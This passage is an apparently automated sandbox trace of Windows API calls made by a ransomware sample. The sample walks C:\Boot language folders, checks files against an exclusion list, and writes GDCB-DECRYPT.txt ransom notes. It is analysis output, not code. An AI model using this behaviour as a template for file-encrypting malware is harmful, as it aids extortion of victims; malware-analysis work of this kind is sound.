hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.253] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.253] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0135.253] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="C:\\Boot\\ja-JP\\*") returned="C:\\Boot\\ja-JP\\*" [0135.253] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7980 [0135.253] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.253] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.254] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.254] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.254] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.254] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.254] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.254] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="C:\\Boot\\ja-JP\\bootmgr.exe.mui" [0135.254] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0135.254] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.254] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.254] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.254] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.254] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt" [0135.254] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0135.254] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.254] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.254] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.254] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.254] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\memtest.exe.mui") returned="C:\\Boot\\ja-JP\\memtest.exe.mui" [0135.254] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0135.254] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.254] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.254] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.254] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.254] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ja-JP\\\\GDCB-DECRYPT.txt") returned 31 [0135.254] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ja-jp\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.254] GetLastError () returned 0x50 [0135.254] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.254] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0135.254] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="C:\\Boot\\ja-JP\\*") returned="C:\\Boot\\ja-JP\\*" [0135.254] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.255] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.255] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.255] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.255] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.255] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.255] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.255] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.255] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="C:\\Boot\\ja-JP\\bootmgr.exe.mui" [0135.255] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.255] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0135.255] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0135.255] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.255] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.255] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.255] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.255] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt" [0135.255] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.255] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0135.255] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0135.255] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0135.255] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0135.255] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.255] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.255] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.255] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.255] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.256] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.256] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.256] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.256] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.256] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.256] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.256] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.256] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.256] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\memtest.exe.mui") returned="C:\\Boot\\ja-JP\\memtest.exe.mui" [0135.256] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.256] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0135.256] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0135.256] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.256] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.256] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.256] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.256] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0135.256] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0135.256] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ko-KR" | out: lpString1="C:\\Boot\\ko-KR") returned="C:\\Boot\\ko-KR" [0135.256] lstrcatW (in: lpString1="C:\\Boot\\ko-KR", lpString2="\\" | out: lpString1="C:\\Boot\\ko-KR\\") returned="C:\\Boot\\ko-KR\\" [0135.256] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.256] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.257] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.257] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.257] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.257] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.257] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0135.257] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="C:\\Boot\\ko-KR\\*") returned="C:\\Boot\\ko-KR\\*" [0135.257] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7900 [0135.257] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.257] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.257] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.257] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.257] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.257] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.257] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.257] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="C:\\Boot\\ko-KR\\bootmgr.exe.mui" [0135.257] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0135.257] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.257] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.257] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.257] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.257] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt" [0135.257] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0135.257] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.257] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.257] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.257] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.257] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\memtest.exe.mui") returned="C:\\Boot\\ko-KR\\memtest.exe.mui" [0135.257] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0135.257] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.257] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.257] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.257] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.257] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ko-KR\\\\GDCB-DECRYPT.txt") returned 31 [0135.258] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ko-kr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.258] GetLastError () returned 0x50 [0135.258] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.258] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0135.258] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="C:\\Boot\\ko-KR\\*") returned="C:\\Boot\\ko-KR\\*" [0135.258] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7980 [0135.258] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.258] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.258] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.258] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.258] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.258] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.258] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.258] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="C:\\Boot\\ko-KR\\bootmgr.exe.mui" [0135.258] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.259] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0135.259] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0135.259] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.259] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.259] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.259] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.259] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt" [0135.259] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.259] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0135.259] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0135.259] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0135.259] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0135.259] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.259] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.259] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.259] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.259] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.259] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.259] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.259] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.259] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.259] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.259] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.259] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.259] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.259] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\memtest.exe.mui") returned="C:\\Boot\\ko-KR\\memtest.exe.mui" [0135.259] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.260] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0135.260] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0135.260] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.260] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.260] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.260] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.260] lstrcmpW (lpString1="lt-LT", lpString2=".") returned 1 [0135.260] lstrcmpW (lpString1="lt-LT", lpString2="..") returned 1 [0135.260] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lt-LT" | out: lpString1="C:\\Boot\\lt-LT") returned="C:\\Boot\\lt-LT" [0135.260] lstrcatW (in: lpString1="C:\\Boot\\lt-LT", lpString2="\\" | out: lpString1="C:\\Boot\\lt-LT\\") returned="C:\\Boot\\lt-LT\\" [0135.260] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.260] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.260] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.260] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.260] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.260] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.260] lstrlenW (lpString="C:\\Boot\\lt-LT\\") returned 14 [0135.260] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="*" | out: lpString1="C:\\Boot\\lt-LT\\*") returned="C:\\Boot\\lt-LT\\*" [0135.260] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7600 [0135.261] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.261] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.262] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.262] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.262] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.262] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.262] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.262] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned="C:\\Boot\\lt-LT\\bootmgr.exe.mui" [0135.262] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0135.262] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.262] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.262] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.262] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.262] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt" [0135.262] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0135.262] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.262] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.262] FindClose (in: hFindFile=0x2c7600 | out: hFindFile=0x2c7600) returned 1 [0135.262] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.262] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\lt-LT\\\\GDCB-DECRYPT.txt") returned 31 [0135.262] CreateFileW (lpFileName="C:\\Boot\\lt-LT\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\lt-lt\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.262] GetLastError () returned 0x50 [0135.262] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.262] lstrlenW (lpString="C:\\Boot\\lt-LT\\") returned 14 [0135.262] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="*" | out: lpString1="C:\\Boot\\lt-LT\\*") returned="C:\\Boot\\lt-LT\\*" [0135.262] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.263] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.263] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.263] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.263] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.263] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.263] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.263] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.263] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned="C:\\Boot\\lt-LT\\bootmgr.exe.mui" [0135.263] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.263] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0135.263] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0135.263] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.263] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.263] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.263] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.263] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt" [0135.263] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.263] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0135.263] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0135.263] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0135.263] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0135.263] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.263] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.263] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.263] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.264] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.264] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.264] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.264] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.264] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.264] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.264] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.264] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.264] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.264] lstrcmpW (lpString1="lv-LV", lpString2=".") returned 1 [0135.264] lstrcmpW (lpString1="lv-LV", lpString2="..") returned 1 [0135.264] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lv-LV" | out: lpString1="C:\\Boot\\lv-LV") returned="C:\\Boot\\lv-LV" [0135.264] lstrcatW (in: lpString1="C:\\Boot\\lv-LV", lpString2="\\" | out: lpString1="C:\\Boot\\lv-LV\\") returned="C:\\Boot\\lv-LV\\" [0135.264] VirtualAlloc (lpAddress=0x0, 